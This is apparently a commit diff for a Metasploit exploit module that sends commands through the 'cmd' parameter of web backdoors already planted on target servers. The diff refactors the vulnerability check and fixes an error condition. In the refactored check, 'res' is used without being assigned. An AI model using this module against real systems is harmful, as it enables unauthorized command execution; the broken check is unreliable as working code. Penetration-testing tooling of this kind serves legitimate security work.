Update simple_backdoors_exec.rb
Updating the code as suggested
This commit is contained in:
parent
2de6c77fa2
commit
fa1391de87
|
@ -58,14 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
test = Rex::Text.rand_text_alpha(8)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path),
|
||||
'vars_get' =>
|
||||
{
|
||||
'cmd' => test
|
||||
}
|
||||
})
|
||||
http_send_command(test)
|
||||
if res && res.body =~ /#{test}/
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
end
|
||||
|
@ -80,9 +73,10 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'cmd' => cmd
|
||||
}
|
||||
})
|
||||
if !res && res.code == 200
|
||||
unless res && res.code == 200
|
||||
fail_with(Failure::Unknown, "Failed to execute the command.")
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
def exploit
|
||||
|
|
Loading…
Reference in New Issue